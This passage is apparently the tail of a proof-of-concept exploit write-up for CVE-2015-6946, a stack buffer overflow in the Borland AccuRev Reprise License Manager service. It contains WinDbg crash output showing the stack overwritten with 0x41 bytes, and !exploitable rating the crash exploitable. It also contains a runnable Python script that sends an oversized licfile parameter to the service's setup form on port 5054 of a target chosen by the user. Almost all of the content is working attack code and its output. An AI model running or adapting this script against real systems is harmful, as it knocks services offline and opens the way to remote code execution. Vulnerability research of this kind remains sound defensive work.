00000000`0046d63d e83efeffff      call    rlm+0x6d480 (00000000`0046d480)
0:005> d rdx
00000000`005c4ce8  61 63 74 73 65 72 76 65-72 00 00 00 69 73 76 00  actserver...isv.
00000000`005c4cf8  61 6b 65 79 00 00 00 00-68 6f 73 74 69 64 00 00  akey....hostid..
00000000`005c4d08  63 6f 75 6e 74 00 00 00-6c 66 00 00 00 00 00 00  count...lf......
00000000`005c4d18  3c 62 72 3e 3c 62 72 3e-3c 62 72 3e 3c 74 61 62  <br><br><br><tab
00000000`005c4d28  6c 65 3e 3c 74 72 20 61-6c 69 67 6e 3d 63 65 6e  le><tr align=cen
00000000`005c4d38  74 65 72 3e 00 00 00 00-3c 74 64 3e 3c 69 6e 70  ter>....<td><inp
00000000`005c4d48  75 74 20 63 6c 61 73 73-3d 62 75 74 74 6f 6e 20  ut class=button 
00000000`005c4d58  74 79 70 65 3d 73 75 62-6d 69 74 20 6e 61 6d 65  type=submit name
0:005> g
Breakpoint 0 hit
rlm+0x6d63d:
00000000`0046d63d e83efeffff      call    rlm+0x6d480 (00000000`0046d480)
0:005> d rdx
00000000`005c4cf4  69 73 76 00 61 6b 65 79-00 00 00 00 68 6f 73 74  isv.akey....host
00000000`005c4d04  69 64 00 00 63 6f 75 6e-74 00 00 00 6c 66 00 00  id..count...lf..
00000000`005c4d14  00 00 00 00 3c 62 72 3e-3c 62 72 3e 3c 62 72 3e  ....<br><br><br>
00000000`005c4d24  3c 74 61 62 6c 65 3e 3c-74 72 20 61 6c 69 67 6e  <table><tr align
00000000`005c4d34  3d 63 65 6e 74 65 72 3e-00 00 00 00 3c 74 64 3e  =center>....<td>
00000000`005c4d44  3c 69 6e 70 75 74 20 63-6c 61 73 73 3d 62 75 74  <input class=but
00000000`005c4d54  74 6f 6e 20 74 79 70 65-3d 73 75 62 6d 69 74 20  ton type=submit 
00000000`005c4d64  6e 61 6d 65 3d 6f 6b 20-76 61 6c 75 65 3d 22 25  name=ok value="%
0:005> g
Breakpoint 0 hit
rlm+0x6d63d:
00000000`0046d63d e83efeffff      call    rlm+0x6d480 (00000000`0046d480)
0:005> d rdx
00000000`005c4cf8  61 6b 65 79 00 00 00 00-68 6f 73 74 69 64 00 00  akey....hostid..
00000000`005c4d08  63 6f 75 6e 74 00 00 00-6c 66 00 00 00 00 00 00  count...lf......
00000000`005c4d18  3c 62 72 3e 3c 62 72 3e-3c 62 72 3e 3c 74 61 62  <br><br><br><tab
00000000`005c4d28  6c 65 3e 3c 74 72 20 61-6c 69 67 6e 3d 63 65 6e  le><tr align=cen
00000000`005c4d38  74 65 72 3e 00 00 00 00-3c 74 64 3e 3c 69 6e 70  ter>....<td><inp
00000000`005c4d48  75 74 20 63 6c 61 73 73-3d 62 75 74 74 6f 6e 20  ut class=button 
00000000`005c4d58  74 79 70 65 3d 73 75 62-6d 69 74 20 6e 61 6d 65  type=submit name
00000000`005c4d68  3d 6f 6b 20 76 61 6c 75-65 3d 22 25 73 22 3e 3c  =ok value="%s"><
0:005> k
Child-SP          RetAddr           Call Site
00000000`0199c120 00000000`0042a26e rlm+0x6d63d
00000000`0199c560 00000000`0042a120 rlm+0x2a26e
00000000`0199c590 00000000`0042d214 rlm+0x2a120
00000000`0199c5c0 00000000`004ce9bc rlm+0x2d214
00000000`0199fbe0 00000000`004cf23c rlm+0xce9bc
00000000`0199fd50 00000000`004cbabf rlm+0xcf23c
00000000`0199fdb0 00000000`004cb772 rlm+0xcbabf
00000000`0199fe10 00000000`004d143c rlm+0xcb772
00000000`0199fe50 00000000`004d12b1 rlm+0xd143c
00000000`0199fe90 00000000`004ce51c rlm+0xd12b1
00000000`0199fed0 00000000`00572817 rlm+0xce51c
00000000`0199ff00 00000000`005728e5 rlm+0x172817
00000000`0199ff30 00000000`76bd652d rlm+0x1728e5
00000000`0199ff60 00000000`76d0c521 kernel32!BaseThreadInitThunk+0xd
00000000`0199ff90 00000000`00000000 ntdll!RtlUserThreadStart+0x1d
0:005> p
rlm+0x6d642:
00000000`0046d642 488d542430      lea     rdx,[rsp+30h]
0:005> k
Child-SP          RetAddr           Call Site
00000000`0199c120 41414141`41414141 rlm+0x6d642
00000000`0199c560 00000000`00003e22 0x41414141`41414141
00000000`0199c568 00000000`005c4cf8 0x3e22
00000000`0199c570 00000000`00b6eea0 rlm+0x1c4cf8
00000000`0199c578 00000000`0056fd8c 0xb6eea0
00000000`0199c580 00000000`0042d214 rlm+0x16fd8c
00000000`0199c5c0 00000000`004ce9bc rlm+0x2d214
00000000`0199fbe0 00000000`004cf23c rlm+0xce9bc
00000000`0199fd50 00000000`004cbabf rlm+0xcf23c
00000000`0199fdb0 00000000`004cb772 rlm+0xcbabf
00000000`0199fe10 00000000`004d143c rlm+0xcb772
00000000`0199fe50 00000000`004d12b1 rlm+0xd143c
00000000`0199fe90 00000000`004ce51c rlm+0xd12b1
00000000`0199fed0 00000000`00572817 rlm+0xce51c
00000000`0199ff00 00000000`005728e5 rlm+0x172817
00000000`0199ff30 00000000`76bd652d rlm+0x1728e5
00000000`0199ff60 00000000`76d0c521 kernel32!BaseThreadInitThunk+0xd
00000000`0199ff90 00000000`00000000 ntdll!RtlUserThreadStart+0x1d
0:005> g
(42c.bb8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
rlm+0xcd632:
00000000`004cd632 8b8820010000    mov     ecx,dword ptr [rax+120h] ds:00000000`00003f42=????????
0:005> g

STATUS_STACK_BUFFER_OVERRUN encountered
(42c.bb8): Break instruction exception - code 80000003 (first chance)
kernel32!UnhandledExceptionFilter+0x71:
00000000`76c593a1 cc              int     3
0:005> k
Child-SP          RetAddr           Call Site
00000000`0199b0d0 00000000`00578c8b kernel32!UnhandledExceptionFilter+0x71
00000000`0199b1b0 00000000`0056a44d rlm+0x178c8b
00000000`0199b240 00000000`76d09d0d rlm+0x16a44d
00000000`0199b270 00000000`76cf91af ntdll!RtlpExecuteHandlerForException+0xd
00000000`0199b2a0 00000000`76d31278 ntdll!RtlDispatchException+0x45a
00000000`0199b980 00000000`004cd632 ntdll!KiUserExceptionDispatcher+0x2e
00000000`0199c080 00000000`004cd5b2 rlm+0xcd632
00000000`0199c0d0 00000000`0046d654 rlm+0xcd5b2
00000000`0199c120 41414141`41414141 rlm+0x6d654
00000000`0199c560 00000000`00003e22 0x41414141`41414141
00000000`0199c568 00000000`005c4cf8 0x3e22
00000000`0199c570 00000000`00b6eea0 rlm+0x1c4cf8
00000000`0199c578 00000000`0056fd8c 0xb6eea0
00000000`0199c580 00000000`0042d214 rlm+0x16fd8c
00000000`0199c5c0 00000000`004ce9bc rlm+0x2d214
00000000`0199fbe0 00000000`004cf23c rlm+0xce9bc
00000000`0199fd50 00000000`004cbabf rlm+0xcf23c
00000000`0199fdb0 00000000`004cb772 rlm+0xcbabf
00000000`0199fe10 00000000`004d143c rlm+0xcb772
00000000`0199fe50 00000000`004d12b1 rlm+0xd143c
00000000`0199fe90 00000000`004ce51c rlm+0xd12b1
00000000`0199fed0 00000000`00572817 rlm+0xce51c
00000000`0199ff00 00000000`005728e5 rlm+0x172817
00000000`0199ff30 00000000`76bd652d rlm+0x1728e5
00000000`0199ff60 00000000`76d0c521 kernel32!BaseThreadInitThunk+0xd
00000000`0199ff90 00000000`00000000 ntdll!RtlUserThreadStart+0x1d
0:005> !exploitable

!exploitable 1.6.0.0
Exploitability Classification: EXPLOITABLE
Recommended Bug Title: Exploitable - Stack Buffer Overrun (/GS Exception) starting at rlm+0x000000000016a44d (Hash=0x53e180a9.0xb2d1267c)

An overrun of a protected stack buffer has been detected. This is considered exploitable, and must be fixed.
'''

import urllib
import httplib
import sys


WELCOME = '''
------------------------------------------------------------------
Borland AccuRev RLM Service stack-based buffer overflow (PoC)

Multiple stack-based buffer overflows in the Reprise License Manager service 
in Borland AccuRev allow remote attackers to execute arbitrary code via the 
(1) akey or (2) actserver parameter to the the activate_doit function or 
(3) licfile parameter to the service_startup_doit functionality.

licfile will be used in this PoC (Windows system only)
Use payload length of 1020 to trigger the overflow

CVE-2015-6946
------------------------------------------------------------------
'''

HELP = '''Usage: python {0} target payload-length
Example: python {0} 192.168.0.100 1020
'''.format(sys.argv[0])


print WELCOME

if (len(sys.argv) < 3):
 print HELP
 exit(-1)

target = sys.argv[1]
length = int(sys.argv[2])

p = {
	'action'		:	'1',
	'servicename'	:	'rlm',
	'servicedesc'	:	'RLM+License+Server',
	'debuglog'		:	'rlm.log',
	'licfile'		:	'A'* length,
	'wsport'		:	'',
	'delay'			:	'0',
	'ok'			:	'Apply'
	}
# Parameters from the original POST request

try:
 print "[*] Trying to connect to %s" % target
 http_con = httplib.HTTPConnection(target + ":5054")
 http_con.request("POST", "/goform/service_setup_doit", urllib.urlencode(p))
except:
 print "[-] Connection failed"
 exit(-1)
 
print "[+] Request sent"